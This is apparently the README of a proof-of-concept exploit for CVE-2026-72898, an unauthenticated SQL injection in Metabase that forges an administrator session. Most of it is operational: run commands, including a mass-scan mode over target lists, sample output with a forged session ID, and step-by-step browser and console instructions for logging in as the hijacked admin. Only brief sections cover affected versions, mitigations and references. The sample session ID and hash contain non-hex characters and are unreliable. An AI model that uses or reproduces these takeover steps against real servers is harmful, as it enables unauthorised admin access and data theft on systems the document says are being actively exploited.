## https://sploitus.com/exploit?id=C41FB357-C9DA-5D64-8B0B-DEF0D74DC4C0
# CVE-2026-72898 PoC : Metabase Unauthenticated SQL Injection
**Metabase Pre-Authentication SQL Injection Leading to Admin Takeover**
Proof-of-concept for CVE-2026-72898, a critical unauthenticated SQL injection in Metabase's password-reset endpoint. The PoC injects a forged admin session row into the `core_session` table, then uses it to validate a full administrator session without any credentials.
> **Note:** This PoC is for authorized security testing and research only. CVE-2026-72898 is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is being actively exploited in the wild. You are responsible for complying with all applicable laws and obtaining written authorization before testing any system.
---
## Vulnerability Information
- **CVE**: CVE-2026-72898
- **Type**: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- **CVSS 4.0**: 10.0 (Critical)
- **Authentication**: Unauthenticated (pre-auth, remote, low attack complexity)
- **CISA KEV**: Added 2026-08-11 (active exploitation)
- **Affected** (Metabase):
- x.58.0 to < x.58.24
- x.59.0 to < x.59.21
- x.60.0 to < x.60.17
- x.61.0 to < x.61.11
- x.62.0 to < x.62.9
- x.63.0 to < x.63.5
- **Fixed in**: x.58.24, x.59.21, x.60.17, x.61.11, x.62.9, x.63.5
---
## Requirements
- **Python 3.8+** with the `requests` library
- Target: an affected, internet-exposed Metabase instance
Install dependencies:
```bash
pip install requests
```
---
## Usage
### Single Target
```bash
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
```
### Mass Scan
```bash
python cve-2026-72898_poc.py -T targets.txt
```
---
## Options
| Argument | Description | Default |
|---|---|---|
| `-t, --target` | Single target URL | - |
| `-T, --targets` | File with target URLs, one per line | - |
| `-o, --output` | Result file (tab-separated: target, result, status, session_id, admin_email) | - |
| `--timeout` | Request timeout in seconds | `15` |
---
## Example Output
```
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: admin@gmail.com
```
A `400` on step 2 with `Invalid reset token` is **expected** — it means the SQLi payload executed and the response was short-circuited. Step 3 returning `200` on `/api/user/current` confirms the forged session is valid.
Result statuses: `vulnerable` | `not_vulnerable` | `patched` | `root_not_200` | `unknown` | `error`
---
## Using the Forged Session
```
Metabase reads its session from the `metabase.SESSION` cookie, so you can log in to the web UI as the forged admin by adding that cookie:
**Google Chrome / Edge / Chromium**
1. Run the PoC and copy the printed `session id`
2. Open `http://TARGET/` and press `F12` (DevTools)
3. Go to **Application** (in Edge: **Application**; in Chrome: **Application**) → **Storage** → **Cookies** → select the target host
4. Click the **+** (Add cookie) button and fill in:
- **Name**: `metabase.SESSION`
- **Value**: `` (the value printed by the PoC)
- **Domain**: the target host/IP (e.g. `192.168.1.1` or `.example.com`)
- **Path**: `/`
- Set an expiration far in the future (or click "Session")
5. Click **Save**, then refresh the page
6. You are now authenticated as the superuser — the admin gear icon will be visible
**Firefox**
1. Run the PoC and copy the printed `session id`
2. Press `F12` → **Storage** tab → **Cookies** → select the target host
3. Right-click → **Add/Edit Cookie** and add:
- **Name**: `metabase.SESSION`
- **Value**: ``
- **Path**: `/`
- **HttpOnly**: unchecked (JS sets it)
- **Secure**: unchecked for plain HTTP
4. Save and refresh the page
**Alternative: cookie editor extension**
Use any cookie-editing extension (e.g. Cookie-Editor) to add the `metabase.SESSION` cookie with the forged value on the target domain, then refresh.
**From the browser console**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '' } })
.then(r => r.json()).then(console.log)
```
---
## Mitigations
- Upgrade to a patched version (x.58.24 / x.59.21 / x.60.17 / x.61.11 / x.62.9 / x.63.5 or newer)
- If you cannot upgrade immediately, block `/api/session/reset_password` at the network/WAF layer
- After upgrading: revoke all active sessions, rotate credentials for connected databases, review admin accounts and API keys for unexpected changes, and audit Metabase activity/query history
---
## References
- [Metabase Security Advisory (GHSA-vwf4-m7j8-wcjf)](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf)
- [Metabase Security Update](https://www.metabase.com/blog/security-update)
- [CVE.org Record – CVE-2026-72898](https://vulners.com/cve/CVE-2026-72898)
- [NVD – CVE-2026-72898](https://nvd.nist.gov/vuln/detail/CVE-2026-72898)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-72898)
- [Horizon3.ai – Metabase SQL Injection](https://horizon3.ai/attack-research/vulnerabilities/cve-2026-72898/)
- [The Hacker News – Metabase Zero-Day Exploited in Wild](https://thehackernews.com/2026/08/metabase-zero-day-exploited-in-wild.html)
- [Nuclei Template – Metabase Unauthenticated SQL Injection](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-72898.yaml)